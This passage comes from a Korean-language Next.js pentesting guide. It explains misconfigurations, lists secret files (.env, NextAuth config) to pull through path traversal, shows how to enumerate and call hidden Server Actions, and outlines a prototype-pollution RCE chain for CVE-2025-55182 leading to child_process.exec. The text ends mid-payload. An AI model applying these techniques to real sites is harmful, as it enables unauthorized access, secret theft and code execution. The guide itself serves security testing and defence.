  • '*': ์™ธ๋ถ€์˜ ๋ชจ๋“  ์†Œ์Šค(์‹ ๋ขฐํ•  ์ˆ˜ ์—†๊ฑฐ๋‚˜ ์•…์„ฑ ๋„๋ฉ”์ธ ํฌํ•จ)์—์„œ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์•…์„ฑ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž๋ฅผ ์˜ค๋„ํ•˜๋Š” ๋‚ด์šฉ์„ ๋‹ด์€ ์ด๋ฏธ์ง€๋ฅผ ํ˜ธ์ŠคํŒ…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Another problem might be to allow a domain where anyone can upload an image (like raw.githubusercontent.com)

How attackers abuse it:

์•…์„ฑ ์†Œ์Šค์˜ ์ด๋ฏธ์ง€๋ฅผ ์ฃผ์ž…ํ•จ์œผ๋กœ์จ, ๊ณต๊ฒฉ์ž๋Š” phishing attacks๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜ ์˜ค๋„ํ•˜๋Š” ์ •๋ณด๋ฅผ ํ‘œ์‹œํ•˜๊ฑฐ๋‚˜ ์ด๋ฏธ์ง€ ๋ Œ๋”๋ง ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Environment Variables Exposure

๋ฏผ๊ฐํ•œ ์ •๋ณด์ธ API keys์™€ database credentials ๊ฐ™์€ ํ•ญ๋ชฉ์„ ํด๋ผ์ด์–ธํŠธ์— ๋…ธ์ถœํ•˜์ง€ ์•Š๋„๋ก ์•ˆ์ „ํ•˜๊ฒŒ ๊ด€๋ฆฌํ•˜์„ธ์š”.

a. Exposing Sensitive Variables

Bad Configuration Example:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

๋ฌธ์ œ:

  • SECRET_API_KEY: NEXT_PUBLIC_ ์ ‘๋‘์‚ฌ๊ฐ€ ์—†์œผ๋ฉด Next.js๋Š” ๋ณ€์ˆ˜๋ฅผ ํด๋ผ์ด์–ธํŠธ์— ๋…ธ์ถœํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์‹ค์ˆ˜๋กœ ์ ‘๋‘์‚ฌ๋ฅผ ๋ถ™์ด๋ฉด(์˜ˆ: NEXT_PUBLIC_SECRET_API_KEY) ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•:

๋ฏผ๊ฐํ•œ ๋ณ€์ˆ˜๊ฐ€ ํด๋ผ์ด์–ธํŠธ์— ๋…ธ์ถœ๋˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํด๋ผ์ด์–ธํŠธ ์ธก ์ฝ”๋“œ๋‚˜ ๋„คํŠธ์›Œํฌ ์š”์ฒญ์„ ๊ฒ€์‚ฌํ•˜์—ฌ ์ด๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, API, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋˜๋Š” ๊ธฐํƒ€ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฆฌ๋””๋ ‰์…˜

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ URL ๋ฆฌ๋‹ค์ด๋ ‰์…˜ ๋ฐ rewrites๋ฅผ ๊ด€๋ฆฌํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์ ์ ˆํžˆ ์ด๋™๋˜๋„๋ก ํ•˜๋˜, open redirect ์ทจ์•ฝ์ ์„ ๋„์ž…ํ•˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”.

a. Open Redirect Vulnerability

์ž˜๋ชป๋œ ๊ตฌ์„ฑ ์˜ˆ:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

๋ฌธ์ œ:

  • ๋™์  ๋ชฉ์ ์ง€ (Dynamic Destination): ์‚ฌ์šฉ์ž๊ฐ€ ์ž„์˜์˜ URL์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์–ด open redirect ๊ณต๊ฒฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ์ž ์ž…๋ ฅ ์‹ ๋ขฐ (Trusting User Input): ์‚ฌ์šฉ์ž ์ œ๊ณต URL์„ ๊ฒ€์ฆ ์—†์ด ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋ฉด phishing, malware distribution, ๋˜๋Š” credential theft๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•:

๊ณต๊ฒฉ์ž๋Š” ๊ท€ํ•˜์˜ ๋„๋ฉ”์ธ์—์„œ ์˜จ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๋Š” URL์„ ๋งŒ๋“ค์–ด ์‚ฌ์šฉ์ž๋ฅผ ์•…์„ฑ ์‚ฌ์ดํŠธ๋กœ redirectํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ:

https://yourdomain.com/redirect?url=https://malicious-site.com

์›๋ณธ ๋„๋ฉ”์ธ์„ ์‹ ๋ขฐํ•˜๋Š” ์‚ฌ์šฉ์ž๋Š” ์˜๋„์น˜ ์•Š๊ฒŒ ์•…์„ฑ ์›น์‚ฌ์ดํŠธ๋กœ ์ด๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Webpack Configuration

Next.js ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ Webpack ๊ตฌ์„ฑ์„ ์‚ฌ์šฉ์ž ์ •์˜ํ•  ๋•Œ ์ฃผ์˜ํ•˜์ง€ ์•Š์œผ๋ฉด ์˜๋„์น˜ ์•Š๊ฒŒ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

a. ๋ฏผ๊ฐํ•œ ๋ชจ๋“ˆ ๋…ธ์ถœ

์ž˜๋ชป๋œ ๊ตฌ์„ฑ ์˜ˆ์‹œ:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

๋ฌธ์ œ:

  • ๋ฏผ๊ฐํ•œ ๊ฒฝ๋กœ ๋…ธ์ถœ: ๋ฏผ๊ฐํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋ณ„์นญ์œผ๋กœ ์„ค์ •ํ•˜๊ณ  client-side ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋ฉด ๊ธฐ๋ฐ€ ์ •๋ณด๊ฐ€ leak๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋น„๋ฐ€ ๋ฒˆ๋“ค๋ง: ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์ด client-side์šฉ์œผ๋กœ ๋ฒˆ๋“ค๋˜๋ฉด, source maps ๋˜๋Š” client-side ์ฝ”๋“œ๋ฅผ ๊ฒ€์‚ฌํ•ด ํ•ด๋‹น ๋‚ด์šฉ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•:

๊ณต๊ฒฉ์ž๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ์กฐ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ด๋ฅผ ์žฌ๊ตฌ์„ฑํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์ด๋‚˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ฐพ์•„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

pages/_app.js and pages/_document.js

pages/_app.js

Purpose: ๊ธฐ๋ณธ App ์ปดํฌ๋„ŒํŠธ๋ฅผ ์˜ค๋ฒ„๋ผ์ด๋“œํ•˜์—ฌ ์ „์—ญ ์ƒํƒœ, ์Šคํƒ€์ผ, ๋ฐ ๋ ˆ์ด์•„์›ƒ ์ปดํฌ๋„ŒํŠธ๋ฅผ ์ ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Use Cases:

  • ๊ธ€๋กœ๋ฒŒ CSS ์ฃผ์ž….
  • ๋ ˆ์ด์•„์›ƒ ๋ž˜ํผ ์ถ”๊ฐ€.
  • ์ƒํƒœ ๊ด€๋ฆฌ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ†ตํ•ฉ.

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

๋ชฉ์ : ๊ธฐ๋ณธ Document๋ฅผ ์žฌ์ •์˜ํ•˜์—ฌ HTML ๋ฐ Body ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉ์žํ™”ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์‚ฌ๋ก€:

  • <html> ๋˜๋Š” <body> ํƒœ๊ทธ ์ˆ˜์ •.
  • meta ํƒœ๊ทธ ๋˜๋Š” ์‚ฌ์šฉ์ž ์ •์˜ ์Šคํฌ๋ฆฝํŠธ ์ถ”๊ฐ€.
  • ํƒ€์‚ฌ ํฐํŠธ ํ†ตํ•ฉ.

์˜ˆ์‹œ:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

์‚ฌ์šฉ์ž ์ •์˜ ์„œ๋ฒ„ (์„ ํƒ ์‚ฌํ•ญ)

๋ชฉ์ : Next.js๋Š” ๋‚ด์žฅ ์„œ๋ฒ„๋ฅผ ์ œ๊ณตํ•˜์ง€๋งŒ, ์ปค์Šคํ…€ ๋ผ์šฐํŒ…์ด๋‚˜ ๊ธฐ์กด ๋ฐฑ์—”๋“œ ์„œ๋น„์Šค์™€์˜ ํ†ตํ•ฉ ๊ฐ™์€ ๊ณ ๊ธ‰ ์‚ฌ์šฉ ์‚ฌ๋ก€๋ฅผ ์œ„ํ•ด ์ปค์Šคํ…€ ์„œ๋ฒ„๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ : ์ปค์Šคํ…€ ์„œ๋ฒ„๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ฐฐํฌ ์˜ต์…˜์ด ์ œํ•œ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ Next.js์˜ ๋‚ด์žฅ ์„œ๋ฒ„์— ์ตœ์ ํ™”๋œ Vercel ๊ฐ™์€ ํ”Œ๋žซํผ์—์„œ๋Š” ์ œํ•œ์ด ์ปค์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

์ถ”๊ฐ€์ ์ธ ์•„ํ‚คํ…์ฒ˜ ๋ฐ ๋ณด์•ˆ ๊ณ ๋ ค์‚ฌํ•ญ

ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ๋ฐ ๊ตฌ์„ฑ

๋ชฉ์ : ๋ฏผ๊ฐํ•œ ์ •๋ณด์™€ ๊ตฌ์„ฑ ์„ค์ •์„ ์ฝ”๋“œ๋ฒ ์ด์Šค ์™ธ๋ถ€์—์„œ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

๋ชจ๋ฒ” ์‚ฌ๋ก€:

  • .env ํŒŒ์ผ ์‚ฌ์šฉ: .env.local์— API keys์™€ ๊ฐ™์€ ๋ณ€์ˆ˜๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค(๋ฒ„์ „ ๊ด€๋ฆฌ์—์„œ ์ œ์™ธ๋จ).
  • ๋ณ€์ˆ˜์— ์•ˆ์ „ํ•˜๊ฒŒ ์ ‘๊ทผ: ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ์ ‘๊ทผํ•˜๋ ค๋ฉด process.env.VARIABLE_NAME์„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ํด๋ผ์ด์–ธํŠธ์— Secrets๋ฅผ ๋…ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”: ๋ฏผ๊ฐํ•œ ๋ณ€์ˆ˜๋Š” ์˜ค์ง ์„œ๋ฒ„ ์ธก์—์„œ๋งŒ ์‚ฌ์šฉ๋˜๋„๋ก ํ•˜์„ธ์š”.

์˜ˆ์‹œ:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

์ฐธ๊ณ : ๋ณ€์ˆ˜๋ฅผ ์„œ๋ฒ„ ์ธก์—์„œ๋งŒ ์ œํ•œํ•˜๋ ค๋ฉด env ๊ฐ์ฒด์—์„œ ํ•ด๋‹น ๋ณ€์ˆ˜๋ฅผ ์ƒ๋žตํ•˜๊ฑฐ๋‚˜ ํด๋ผ์ด์–ธํŠธ์— ๋…ธ์ถœํ•˜๋ ค๋ฉด NEXT_PUBLIC_๋กœ ์ ‘๋‘ํ•˜์„ธ์š”.

LFI/download endpoints๋ฅผ ํ†ตํ•ด ํƒ€๊นƒ์œผ๋กœ ์‚ผ๊ธฐ ์ข‹์€ ์œ ์šฉํ•œ ์„œ๋ฒ„ ์•„ํ‹ฐํŒฉํŠธ

Next.js ์•ฑ์—์„œ path traversal ๋˜๋Š” download API๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด, ์„œ๋ฒ„ ์ธก ๋น„๋ฐ€๊ณผ ์ธ์ฆ ๋กœ์ง์„ leakํ•˜๋Š” ์ปดํŒŒ์ผ๋œ ์•„ํ‹ฐํŒฉํŠธ๋“ค์„ ๋Œ€์ƒ์œผ๋กœ ์‚ผ์œผ์„ธ์š”:

  • .env / .env.local โ€” ์„ธ์…˜ ์‹œํฌ๋ฆฟ๊ณผ provider ์ž๊ฒฉ์ฆ๋ช….
  • .next/routes-manifest.json ๋ฐ .next/build-manifest.json โ€” ์ „์ฒด ๋ผ์šฐํŠธ ๋ชฉ๋ก.
  • .next/server/pages/api/auth/[...nextauth].js โ€” ์ปดํŒŒ์ผ๋œ NextAuth configuration ๋ณต๊ตฌ(์ข…์ข… process.env ๊ฐ’์ด unset์ผ ๋•Œ fallback passwords ํฌํ•จ).
  • next.config.js / next.config.mjs โ€” rewrites, redirects ๋ฐ ๋ฏธ๋“ค์›จ์–ด ๋ผ์šฐํŒ… ๊ฒ€ํ† .

Authentication and Authorization

์ ‘๊ทผ ๋ฐฉ์‹:

  • Session-Based Authentication: ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž ์„ธ์…˜์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • Token-Based Authentication: ๋ฌด์ƒํƒœ ์ธ์ฆ์„ ์œ„ํ•ด JWTs๋ฅผ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค.
  • Third-Party Providers: next-auth ๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•ด OAuth ์ œ๊ณต์ž(e.g., Google, GitHub)์™€ ํ†ตํ•ฉํ•ฉ๋‹ˆ๋‹ค.

๋ณด์•ˆ ๊ด€ํ–‰:

  • Secure Cookies: HttpOnly, Secure, SameSite ์†์„ฑ์„ ์„ค์ •ํ•˜์„ธ์š”.
  • Password Hashing: ์ €์žฅํ•˜๊ธฐ ์ „์— ํ•ญ์ƒ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ•ด์‹œํ•˜์„ธ์š”.
  • Input Validation: ์ž…๋ ฅ์„ ๊ฒ€์ฆํ•˜๊ณ  ์ •์ œํ•˜์—ฌ ์ธ์ ์…˜ ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜์„ธ์š”.

์˜ˆ์‹œ:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

์„ฑ๋Šฅ ์ตœ์ ํ™”

์ „๋žต:

  • ์ด๋ฏธ์ง€ ์ตœ์ ํ™”: ์ž๋™ ์ด๋ฏธ์ง€ ์ตœ์ ํ™”๋ฅผ ์œ„ํ•ด Next.js์˜ next/image ์ปดํฌ๋„ŒํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ์ฝ”๋“œ ๋ถ„ํ• : ๋™์  import๋ฅผ ํ™œ์šฉํ•ด ์ฝ”๋“œ๋ฅผ ๋ถ„ํ• ํ•˜๊ณ  ์ดˆ๊ธฐ ๋กœ๋“œ ์‹œ๊ฐ„์„ ์ค„์ด์„ธ์š”.
  • ์บ์‹ฑ: API ์‘๋‹ต๊ณผ ์ •์  ์ž์‚ฐ์— ๋Œ€ํ•œ ์บ์‹ฑ ์ „๋žต์„ ๊ตฌํ˜„ํ•˜์„ธ์š”.
  • ์ง€์—ฐ ๋กœ๋”ฉ: ํ•„์š”ํ•  ๋•Œ๋งŒ ์ปดํฌ๋„ŒํŠธ๋‚˜ ์ž์‚ฐ์„ ๋กœ๋“œํ•˜์„ธ์š”.

์˜ˆ์‹œ:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions ์—ด๊ฑฐ (hash to function name via source maps)

์ตœ์‹  Next.js๋Š” ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋˜์ง€๋งŒ ํด๋ผ์ด์–ธํŠธ์—์„œ ํ˜ธ์ถœ๋˜๋Š” โ€œServer Actionsโ€๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์šด์˜ ํ™˜๊ฒฝ์—์„œ๋Š” ์ด๋Ÿฌํ•œ ํ˜ธ์ถœ๋“ค์ด ๋ถˆํˆฌ๋ช…ํ•ฉ๋‹ˆ๋‹ค: ๋ชจ๋“  POST๋Š” ๊ณตํ†ต ์—”๋“œํฌ์ธํŠธ์— ๋„์ฐฉํ•˜๋ฉฐ Next-Action ํ—ค๋”์— ์ „์†ก๋˜๋Š” ๋นŒ๋“œ๋ณ„ hash๋กœ ๊ตฌ๋ถ„๋ฉ๋‹ˆ๋‹ค. ์˜ˆ:

POST /
Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด, minified JS chunks๋Š” createServerReference(...) ํ˜ธ์ถœ์„ ํฌํ•จํ•˜๊ณ  ์žˆ์–ด, ์ถฉ๋ถ„ํ•œ ๊ตฌ์กฐ(๋ฐ ๊ด€๋ จ ์†Œ์Šค ๋งต)๋ฅผ leakํ•˜์—ฌ action ํ•ด์‹œ์™€ ์›๋ž˜ ํ•จ์ˆ˜ ์ด๋ฆ„ ๊ฐ„์˜ ๋งคํ•‘์„ ๋ณต์›ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด Next-Action์—์„œ ๊ด€์ฐฐ๋œ ํ•ด์‹œ๋ฅผ deleteUserAccount()๋‚˜ exportFinancialData() ๊ฐ™์€ ๊ตฌ์ฒด์ ์ธ ๋Œ€์ƒ์œผ๋กœ ๋ณ€ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ถ”์ถœ ์ ‘๊ทผ๋ฒ• (regex on minified JS + optional source maps)

๋‹ค์šด๋กœ๋“œํ•œ JS chunks์—์„œ createServerReference๋ฅผ ๊ฒ€์ƒ‰ํ•ด ํ•ด์‹œ์™€ ํ•จ์ˆ˜/์†Œ์Šค ์‹ฌ๋ณผ์„ ์ถ”์ถœํ•˜์„ธ์š”. ์œ ์šฉํ•œ ๋‘ ํŒจํ„ด:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • ๊ทธ๋ฃน 1: ์„œ๋ฒ„ ์•ก์…˜ hash (40+ hex chars)
  • ๊ทธ๋ฃน 2: source map์ด ์กด์žฌํ•  ๋•Œ ์ด๋ฅผ ํ†ตํ•ด ์›๋ณธ ํ•จ์ˆ˜๋กœ ํ•ด์„๋  ์ˆ˜ ์žˆ๋Š” symbol ๋˜๋Š” path

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

์‹ค์ „ ์›Œํฌํ”Œ๋กœ์šฐ

  • Passive discovery while browsing: capture requests with Next-Action headers and JS chunk URLs.
  • Fetch the referenced JS bundles and accompanying *.map files (when present).
  • Run the regex above to build a hashโ†”name dictionary.
  • Use the dictionary to target testing:
  • ์ด๋ฆ„ ๊ธฐ๋ฐ˜ ๋ถ„๋ฅ˜(์˜ˆ: transferFunds, exportFinancialData).
  • ํ•จ์ˆ˜ ์ด๋ฆ„์œผ๋กœ ๋นŒ๋“œ ๊ฐ„ ์ปค๋ฒ„๋ฆฌ์ง€ ์ถ”์ (hashes rotate across builds).

์ˆจ๊ฒจ์ง„ ์•ก์…˜ ์‹คํ–‰(ํ…œํ”Œ๋ฆฟ ๊ธฐ๋ฐ˜ ์š”์ฒญ)

Take a valid POST observed in-proxy as a template and swap the Next-Action value to target another discovered action:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeater์—์„œ ์žฌ์ƒํ•˜์—ฌ ์ ‘๊ทผ ๋ถˆ๊ฐ€๋Šฅํ•œ ์•ก์…˜๋“ค์˜ ๊ถŒํ•œ ๊ฒ€์‚ฌ, ์ž…๋ ฅ ๊ฒ€์ฆ ๋ฐ ๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง์„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

Burp automation

  • NextjsServerActionAnalyzer (Burp extension) automates the above in Burp:
  • ํ”„๋ก์‹œ ํžˆ์Šคํ† ๋ฆฌ์—์„œ JS ์ฒญํฌ๋ฅผ ์ˆ˜์ง‘ํ•˜๊ณ , createServerReference(...) ํ•ญ๋ชฉ์„ ์ถ”์ถœํ•˜๋ฉฐ ์†Œ์Šค๋งต์ด ์žˆ์œผ๋ฉด ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฒ€์ƒ‰ ๊ฐ€๋Šฅํ•œ hashโ†”function-name ์‚ฌ์ „์„ ์œ ์ง€ํ•˜๊ณ  ํ•จ์ˆ˜ ์ด๋ฆ„์œผ๋กœ ๋นŒ๋“œ ๊ฐ„ ์ค‘๋ณต์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.
  • ์œ ํšจํ•œ ํ…œํ”Œ๋ฆฟ POST๋ฅผ ์ฐพ์•„ ๋Œ€์ƒ ์•ก์…˜์˜ hash๋ฅผ ๊ต์ฒดํ•œ ์ฑ„ ์ „์†ก ์ค€๋น„๋œ Repeater ํƒญ์„ ์—ฝ๋‹ˆ๋‹ค.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

  • productionBrowserSourceMaps๊ฐ€ ํ”„๋กœ๋•์…˜์—์„œ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ๋ฒˆ๋“ค/์†Œ์Šค๋งต์œผ๋กœ๋ถ€ํ„ฐ ์ด๋ฆ„์„ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ•จ์ˆ˜ ์ด๋ฆ„ ๊ณต๊ฐœ ์ž์ฒด๋งŒ์œผ๋กœ๋Š” ์ทจ์•ฝ์ ์ด ์•„๋‹™๋‹ˆ๋‹ค; ์ด๋ฅผ ์ด์šฉํ•ด ํƒ์ƒ‰์„ ์•ˆ๋‚ดํ•˜๊ณ  ๊ฐ ์•ก์…˜์˜ ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router ๋ฐฐํฌ ์ค‘ react-server-dom-webpack **19.0.0โ€“19.2.0 (Next.js 15.x/16.x)**์—์„œ Server Actions๋ฅผ ๋…ธ์ถœํ•˜๋ฉด Flight ์ฒญํฌ ์—ญ์ง๋ ฌํ™” ์ค‘์— ์‹ฌ๊ฐํ•œ ์„œ๋ฒ„์ธก prototype pollution์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. Flight ํŽ˜์ด๋กœ๋“œ ๋‚ด๋ถ€์— $ ์ฐธ์กฐ๋ฅผ ์กฐ์ž‘ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์˜ค์—ผ๋œ ํ”„๋กœํ† ํƒ€์ž…์—์„œ ์ž„์˜์˜ JavaScript ์‹คํ–‰์œผ๋กœ, ์ด์–ด์„œ Node.js ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ OS ๋ช…๋ น ์‹คํ–‰์œผ๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

  1. Prototype pollution primitive: "then": "$1:__proto__:then"๋ฅผ ์„ค์ •ํ•˜๋ฉด resolver๊ฐ€ Object.prototype์— then ํ•จ์ˆ˜๋ฅผ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์ดํ›„์— ์ฒ˜๋ฆฌ๋˜๋Š” ์–ด๋–ค ์ผ๋ฐ˜ ๊ฐ์ฒด๋„ thenable์ด ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ RSC ๋‚ด๋ถ€์˜ ๋น„๋™๊ธฐ ์ œ์–ด ํ๋ฆ„์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  2. Rebinding to the global Function constructor: _response._formData.get๋ฅผ "$1:constructor:constructor"๋กœ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ํ•ด์„ ๊ณผ์ •์—์„œ object.constructor โ†’ Object, ๊ทธ๋ฆฌ๊ณ  Object.constructor โ†’ Function์ด๋ฏ€๋กœ ์ดํ›„์˜ _formData.get() ํ˜ธ์ถœ์€ ์‹ค์ œ๋กœ Function(...)์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  3. Code execution via _prefix: JavaScript ์†Œ์Šค๋ฅผ _response._prefix์— ๋„ฃ์Šต๋‹ˆ๋‹ค. ์˜ค์—ผ๋œ _formData.get๊ฐ€ ํ˜ธ์ถœ๋˜๋ฉด ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ Function(_prefix)(...)์„ ํ‰๊ฐ€ํ•˜๋ฏ€๋กœ ์ฃผ์ž…๋œ JS๋Š” require('child_process').exec() ๋˜๋Š” ๋‹ค๋ฅธ Node ์›์‹œ ๊ธฐ๋Šฅ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Payload skeleton

{
"then": "$1:__proto__:then",
